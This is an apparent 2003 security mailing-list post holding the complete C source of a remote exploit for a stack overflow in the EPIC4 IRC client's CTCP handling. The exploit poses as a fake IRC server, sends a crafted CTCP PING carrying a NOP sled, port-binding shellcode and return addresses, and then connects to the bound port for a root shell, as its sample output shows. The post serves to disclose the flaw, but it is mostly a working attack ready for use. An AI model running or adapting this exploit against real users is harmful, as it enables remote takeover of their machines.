EPIC4 remote client-side stack-based overflow(exploit)

Li0n7_at_voila.fr
Date: 11/26/03

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    /* EPIC4 remote client-side stack-based overflow
     * by Li0n7 - Li0n7[at]voila[dot]fr
     *
     * EPIC4 versions later than pre2.003 are prone to a remotly exploitable
     * stack-based overflow in send_ctcp() (src/ctcp.c). It occurs when
     * strlen(to) is greater than IRCD_BUFFER_SIZE-12, then alloca(), that
     * doesn't perform any boundary checking, will return a negative pointer
     * As a matter of fact, snprintf is called with a negative value as
     * maximum data lenght to write at *putbuf2 address (pointing to somewhere
     * inside the stack). Since we can control the content of the buffer written
     * at *putbuf2 address without any boundary checking, we can easily execute
     * arbitrary code.
     *
     * This little proof-of-concept code demonstrates the exploitation of the
     * bug discussed here: http://www.securitytracker.com/alerts/2003/Nov/1008131.html
     *
     * This exploit works as a fake IRC server, waiting for connection and then
     * trying to take advantage of the vulnerabilty by sending a specially CTCP
     * request crafted like this: [NOP...SHELLCODE] PRIVMSG a: \001PING [RET]\001\r\n
     * This code needs a few changes to work as a bouncer and more targets to be
     * really efficient.
     *
     * usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]
     * -p: wait for connection on port <PORT>
     * -t: choose the target among the platforms available
     * -f: use <FILE> datas as welcome message
     * -r: use <RET> as return address
     *
     *
     *$ ./epic4-exp -p 6667 -t 0 -v
     *[+] Setting up a fake IRC server...
     *[+] Awaiting connection on port 6667
     *[!] Connection established with 127.0.0.1
     *
     *[127.0.0.1] USER request received.
     *[127.0.0.1] NICK request received.
     *[127.0.0.1] Fake replies sent.
     *[127.0.0.1] Ping sent.
     *[127.0.0.1] Looking up client version...
     *[127.0.0.1] Client version: ircII EPIC4pre2.002 Linux 2.4.20 - Accept no limitations.
     *[127.0.0.1] Welcome message sent.
     *[127.0.0.1] Building evil string to send (using ret '0xbfffd06b')...
     *[127.0.0.1] Evil CTCP request sent.
     *
     *[+] Let's rock on!
     *Linux li0n7 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i686 unknown
     *uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
     *
     */

    #include <stdio.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <errno.h>

    #define D_BACK 26112
    #define D_RET 0xbfffd06b
    #define D_PORT 6667

    #define HOSTNAME ": NOTICE AUTH :*** Looking up your hostname...\r\n"
    #define IDENT ": NOTICE AUTH :*** Checking Ident\r\n"
    #define HOST_FOUND ": NOTICE AUTH :*** Found your hostname\r\n"
    #define PING "PING :571503427\r\n"

    #define BUFFERSIZE 602
    #define SIZE 1024

    char shellcode[] = /* bighawk 78 bytes portbinding shellcode (26112) */

    "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
    "\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10"
    "\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1"
    "\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89"
    "\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"
    "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
    "\x89\xe1\xb0\x0b\xcd\x80";

    int back_connection(long host);
    char * build(char *host);
    char * build_welcome_mes(char *host,char *version);
    long resolve_host(u_char *host_name);
    void send_mes(int fd,char *host);
    void wait_connection(int port,char *buffer);
    void die(char *argv);

    unsigned int check_version = 0;
    unsigned char welcome[128];
    unsigned long ret_addr;

    struct os_ret_addr
    {
          int num;
          char *plat;
          long ret;
    };

    struct os_ret_addr exp_os[]=
    {
          {0,"slack 9.0",0xbfffd06b},
          {0,NULL,0}
    };

    int
    main(int argc,char *argv[])
    {
          int i, option, port = D_PORT;
          long host = 0;
          char * option_list = "f:p:r:t:v", buffer[SIZE+1];

          opterr = 0;
          memset(welcome,0,128);

          if (argc < 2) die(argv[0]);

          while((option = getopt(argc,argv,option_list)) != -1)
              switch(option)
              {
                  case 'f':
                      strncpy(welcome,optarg,sizeof(welcome)-1);
                      welcome[sizeof(welcome)-1] = '\0';
                      break;
                  case 'p':
                      port = atoi(optarg);
                      if(port > 65535 || port < 0) exit(-1);
                      break;
                  case 'r':
                      ret_addr = atol(optarg);
                      if(ret_addr > 0xbfffffff || ret_addr < 0x00000000) exit(0);
                      break;
                  case 't':
                      for(i=0; exp_os[i].plat != NULL; i++)
                      if(atoi(optarg) > i || atoi(optarg) < 0)
                      {
                          fprintf(stderr," Platforms supported are:\n");
                          for(i=0; exp_os[i].plat != NULL; i++)
                              fprintf(stderr," num: %i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
                              exit(0);
                      }
                      ret_addr = exp_os[atoi(optarg)].ret;
                      break;
                  case 'v':
                      check_version = 1;
                      break;
                  case '?':
                      fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
                      die(argv[0]);
              }
       
          wait_connection(port,buffer);
          return 0;
    }

    char
    *build(char *host)
    {
          char *buffer,*ptr,*request,*ret;
          int i;
          unsigned long *addr_ptr;

          fprintf(stdout,"[%s] Building evil string to send (using ret \'0x%x\')...\n",host,ret_addr);

          buffer = (char *)malloc(BUFFERSIZE+1);
          request = (char *)malloc(SIZE+1);
          ret = (char *)malloc(256);

          if(!buffer || !request || !ret)
          {
              fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
              exit(0);
          }

          ptr = buffer;
          memset(ptr,0x90,BUFFERSIZE);
          ptr += 500-strlen(shellcode);
          for(i=0;i<strlen(shellcode);i++)
              *ptr++ = shellcode[i];
          ptr += 102;
          *ptr = 0x0;

          ptr = ret;
          addr_ptr = (long *)ptr;
          for(i=0;i<151;i+=4)
             *(addr_ptr++) = ret_addr;
          ptr = (char *)addr_ptr;
          *ptr = 0x0;

          snprintf(request,SIZE,":%s!x PRIVMSG a: %cPING %s%c\r\n",buffer,0x01,ret,0x01);
          return request;
    }

    int
    back_connection(long host)
    {
          struct sockaddr_in s;
          u_char sock_buf[4096];
          fd_set fds;
          int fd,size;
          char *command="/bin/uname -a ; /usr/bin/id;\n";

          fd = socket(AF_INET, SOCK_STREAM, 0);
          if (fd < 0)
          {
              fprintf(stderr,"[-] %s\n",strerror(errno));
              exit(0);
          }

          s.sin_family = AF_INET;
          s.sin_port = htons(D_BACK);
          s.sin_addr.s_addr = host;

          if (connect(fd, (struct sockaddr *)&s, sizeof(struct sockaddr)) == -1)
          {
              fprintf(stderr,"[-] %s\n",strerror(errno));
              close(fd);
              exit(0);
          }

          fprintf(stdout, "\n[+] Let's rock on!\n");

          size = send(fd, command, strlen(command), 0);
          if(size < 0)
          {
              fprintf(stderr,"[-] %s\n",strerror(errno));
              close(fd);
              exit(0);
          }

          for (;;)
          {
              FD_ZERO(&fds);
              FD_SET(0, &fds);
              FD_SET(fd, &fds);

              if (select(255, &fds, NULL, NULL, NULL) == -1)
              {
                  fprintf(stderr,"[-] %s\n",strerror(errno));
                  close(fd);
                  exit(0);
              }

              memset(sock_buf, 0, sizeof(sock_buf));

              if (FD_ISSET(fd, &fds))
              {
                  if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1)
                  {
                      fprintf(stderr, "[-] Connection closed by remote host,exiting...\n");
                      close(fd);
                      exit(0);
                  }

                  fprintf(stderr, "%s", sock_buf);
              }

              if (FD_ISSET(0, &fds))
              {
                  read(0, sock_buf, sizeof(sock_buf));
                  write(fd, sock_buf, strlen(sock_buf));
              }
          }
          return 0;
    }

    char *
    build_welcome_mes(char *host,char *version)
    {
          FILE *fd;
          char *buffer,*file_buffer;
         
          buffer = (char *)malloc(1024);
          file_buffer = (char *)malloc(512);

          if(!buffer)
          {
              fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
              exit(0);
          }

          if(strlen(welcome) > 0)
          {
              fd = fopen(welcome,"r");
              if(fd < 0)
              {
                  fprintf(stderr,"[-] %s\n",strerror(errno));
                  exit(0);
              }
              memset(buffer,0,1024);
              while(1)
              {
                  if(fgets(file_buffer,512,fd) == NULL) break;
                  strncat(buffer,file_buffer,1021);
                  
              }
              fclose(fd);
              strcat(buffer,"\r\n");
          }else{
              snprintf(buffer,1024,": NOTICE AUTH :*** Welcome dude\n"
                                   ": NOTICE AUTH :*** Your host is %s, running client %s\n"
                                   ": NOTICE AUTH :*** This server was created in the past\n"
                                   ": NOTICE AUTH :*** There are 1 users and 0 services on 0 servers\n"
                                   ": NOTICE AUTH :*** I have 1 clients and 0 servers\r\n",host,version);
          }
          return buffer;
    }

    void
    send_mes(int fd,char *host)
    {
          int size;
          char buffer[1024],data[1024],request[512],version[512];
          char *ptr;

          size = send(fd,HOSTNAME,strlen(HOSTNAME),0);
          if(size < 0)
          {
              fprintf(stderr,"[-] %s\n",strerror(errno));
              exit(0);
          }
          sleep(1);

          size = send(fd,IDENT,strlen(IDENT),0);
          if(size < 0)
          {
              fprintf(stderr,"[-] %s\n",strerror(errno));
              exit(0);
          }
          sleep(1);

          size = send(fd,HOST_FOUND,strlen(HOST_FOUND),0);
          if(size < 0)
          {
              fprintf(stderr,"[-] %s\n",strerror(errno));
              exit(0);
          }
          sleep(1);

          fprintf(stdout,"[%s] Fake replies sent.\n",host);

          size = send(fd,PING,strlen(PING),0);
          if(size < 0)
          {
              fprintf(stderr,"[-] %s\n",strerror(errno));
              exit(0);
          }

          fprintf(stdout,"[%s] Ping sent.\n",host);
     
          size = read(fd,data,1024);
          if(strstr(data,"PONG"))
          {
              if(check_version)
              {
                  memset(version,0,512);
                  memset(request,0,512);

                  fprintf(stdout,"[%s] Looking up client version...\n",host);
                  
                  sprintf(request,":x!x PRIVMSG %s: %cVERSION%c\n",host,0x01,0x01);

                  size = send(fd,request,strlen(request),0);
                  if(size < 0)
                  {
                      fprintf(stderr,"[-] %s\n",strerror(errno));
                      exit(0);
                  }
                  memset(data,0,1024);
                  while(1)
                  {
                      size = read(fd,data,1024);
                      if((ptr = strstr(data,"VERSION ")) != NULL)
                      {
                          memset(version,0,512);
                          strncpy(version,ptr+8,sizeof(version)-1);
                          version[sizeof(version)-1] = '\0';
                          fprintf(stdout,"[%s] Client version: %s",host,version);
                          sleep(3);
                          break;
                      }
                  }
              }
     
              strncpy(buffer,build_welcome_mes(host,version),1023);
              buffer[1023] = '\0';
              size = send(fd,buffer,1024);
              fprintf(stdout,"[%s] Welcome message sent.\n",host);
              sleep(1);
             
              memset(buffer,0,1024);
              strncpy(buffer,build(host),1023);
              buffer[1023] = '\0';
              size = send(fd,buffer,1024);
              sleep(1);

              fprintf(stdout,"[%s] Evil CTCP request sent.\n",host);
          }

          return;
    }

    void
    wait_connection(int port,char *buffer)
    {
          struct sockaddr_in s;
          int size, fd, fd2, r;
          char data[1024], nick[512], user[512];
          char *ptr;
          long host = 0;

          memset(data,0,1024);

          fprintf(stdout,"[+] Setting up a fake IRC server...\n");
     
          fd = socket(AF_INET,SOCK_STREAM,0);
          if(fd < 0)
          {
              fprintf(stderr,"[-] %s\n",strerror(errno));
              exit(0);
          }

          s.sin_port = htons(port);
          s.sin_addr.s_addr = 0;
          s.sin_family = AF_INET;

          bind(fd,(struct sockaddr *) &s,sizeof(s));
          listen(fd,1);
          size = sizeof(s);
      
          fprintf(stdout,"[+] Awaiting connection on port %i\n",port);

          while(1)
          {
              fd2 = accept(fd,(struct sockaddr *) &s, &size);
              fprintf(stdout,"[!] Connection established with %s\n\n",inet_ntoa(s.sin_addr));
     
              if(!fork())
              {
                  close(fd);
                  while(1)
                  {
                      memset(data,0,1024);
                      r = read(fd2,data,1024);
                      if((ptr = strstr(data,"USER ")) != NULL)
                      {
                          memset(user,0,512);
                          strncpy(user,ptr+5,sizeof(user)-1);
                          user[sizeof(user)-1] = '\0';
                          fprintf(stdout,"[%s] USER request received.\n",inet_ntoa(s.sin_addr));
                      }
     
                      if((ptr = strstr(data,"NICK ")) != NULL)
                      {
                          memset(nick,0,512);
                          strncpy(nick,ptr+5,sizeof(nick)-1);
                          nick[sizeof(nick)-1] = '\0';
                          fprintf(stdout,"[%s] NICK request received.\n",inet_ntoa(s.sin_addr));
                      }

                      if((strlen(nick) > 0) && (strlen(user) > 0)) break;
                  }
                  send_mes(fd2,inet_ntoa(s.sin_addr));
                  back_connection(host);
              }
              close(fd2);
          }
          return;
    }

    long resolve_host(u_char *host_name)
    {
          struct in_addr addr;
          struct hostent *host_ent;

          addr.s_addr = inet_addr(host_name);
          if (addr.s_addr == -1)
          {
              host_ent = gethostbyname(host_name);
              if (!host_ent) return(0);
              memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
          }

          return(addr.s_addr);
    }

    void
    die(char *argv)
    {
          fprintf(stderr," remote exploit for EPIC4 < pre2.003 by Li0n7@voila.fr\n");
          fprintf(stderr," vulnerability reported by Stuart Moore <smoore@securityglobal.net>\n");
          fprintf(stderr," usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]\n",argv);
          fprintf(stderr,"\t -p: wait for connection on port <PORT>\n");
          fprintf(stderr,"\t -t: choose the target among the platforms available\n");
          fprintf(stderr,"\t -f: use <FILE> datas as welcome message\n");
          fprintf(stderr,"\t -r: use <RET> as return address\n\n");
          exit(0);
    }

    /* A poil! */


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